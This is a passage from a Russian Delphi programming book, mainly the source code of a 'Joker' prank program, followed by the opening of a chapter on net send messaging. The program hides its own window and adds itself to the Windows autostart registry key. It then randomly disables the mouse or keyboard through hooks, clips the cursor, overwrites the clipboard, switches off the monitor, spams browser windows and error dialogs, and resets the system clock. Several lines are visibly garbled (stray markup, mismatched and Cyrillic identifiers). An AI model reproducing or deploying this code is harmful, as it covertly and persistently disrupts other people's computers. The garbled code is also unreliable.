Выбрать главу

end;

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);

var

 JokeNum: shortint;

 curs: TRect;

begin

 JokeNum:= Random(10) + 1;

 case JokeNum of

  1: begin //Уменьшить диапазон движения мыши

   curs := Rect(0, 0, Screen.Width div 2,Screen.Height);

   ClipCursor(Scurs);

  end;

  2: begin //Отключить мышь

  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

  OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

  end;

  3: begin //отключить клавиатуру

   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

   SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

   OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

  end;

  4: begin //Очистить буфер обмена

   ClipBoard.Open;//открываем буфер обмена

   ClipBoard.Clear;//очищаем буфер обмена

   //Помещаем в буфер обмена свой текст

   Clipboard.asText:= 'Буфер обмена временно не работает!';

   ClipBoard.Close; //закрываем буфер обмена

  end;

  5: begin // сделать копию экрана и назначить её фоном

   ВМР1:= Graphics.TBitmap.Create;

   //задаем размеры рисунка такие же,как размеры экрана

   BMP1.Height:= Screen.Height;

   BMP1.Width:= Screen.Width;

   DC1:=GetDC(0);

   //Делаем копию экрана

   BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

   Form1.Visible:= True;//восстанавливаем окно нашей программы

   Image1:= TImage.Create(nil);

   BMP1.IgnorePalette:= True;

   Image1.Picture.Assign(BMP1);

   BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

   SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

   Repaint; //обновляем

  end;

  6: begin // Найти случайный рисунок и сделать его фоновым

   endvaclass="underline" = Random(10) + 5; //для случайности выбора рисунка

   //ищем все файлы с расширением *.bmp в каталоге Windows

   Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);

   Finds:= Random(2); //случайное число, 0 или 1

   //если выпала 1, то устанавливаем первый попавшийся рисунок

   if Finds = 1 then SetWallpaper(fn.Name, False);

   if Finds = 0 then begin //иначе…

    for i:=1 to endval do begin

     Finds:= FindNext(fn); // …ищем другие рисунки

     //выбираем любой другой рисунок и делаем его фоновым

     if i = endval – 3 then SetWallpaper(fn.Name, False);

    end;

   end;

   FindClose(fn); //завершаем поиск

  end;

  7: begin //Выключить монитор

   SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

  end;

  8: begin //Сообщение об "ошибке"

   for i:=1 to 200 do begin

    case i of

    //после каждого 25-го числа – перенос на новую строку

    25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

    end;

    //текст "ошибки"

    err_str:= err_str + IntToStr(Random(99999));

   end;

   MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

  end;

  9: begin //Запуск Internet Explorer

   for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

    ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

     'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

  end;

 10: begin //Перевести время

   GetLocalTime(tm); //узнаем текущую дату и время

   tm.wYear:= 2000; //устанавливаем год

   tm.wMonth:= 01; //месяц

   tm.wDay:= 01; //день

   tm.wHour:= 0; //часы

   tm.wMinute:= 0; //минуты

   tm.wSecond := 1; //секунды

   tm.wMilliseconds := 0; //мс

   SetLocalTime(tm); //устанавливаем новую дату и время

  end;

 end;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячем форму

end;

procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//переменная для работы с реестром

 path: string;//содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

 path:= Application.EXEname;

 reg:= TRegistry.Create;//открываем реестр

 //ветка текущего пользователя

 reg.RootKey:= HKEY_CURRENT_USER;

 //открываем раздел автозагрузки

 if reg.OpenKey('\Software\Microsoft\Windows\' +

  'CurrentVersion\Run', True)

 then begin

  //записываем ссылку на нашу программу в автозагрузку

  reg.WriteString('Joker', path);

  reg.CloseKey;//закрываем реестр

  reg.Free;//освобождаем память

 end;

end;

end.

⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.

Глава 15

Отправка сообщений в локальной сети

Постановка задачи

Разработать программу, которая будет предоставлять интерфейс для использования стандартной для Win2000/XP команды передачи сообщений net send. Дать возможность указать пользователю адрес получателя, текст сообщения и количество отправляемых сообщений. Также предусмотреть возможность установки блокировки на получение сообщений от других компьютеров.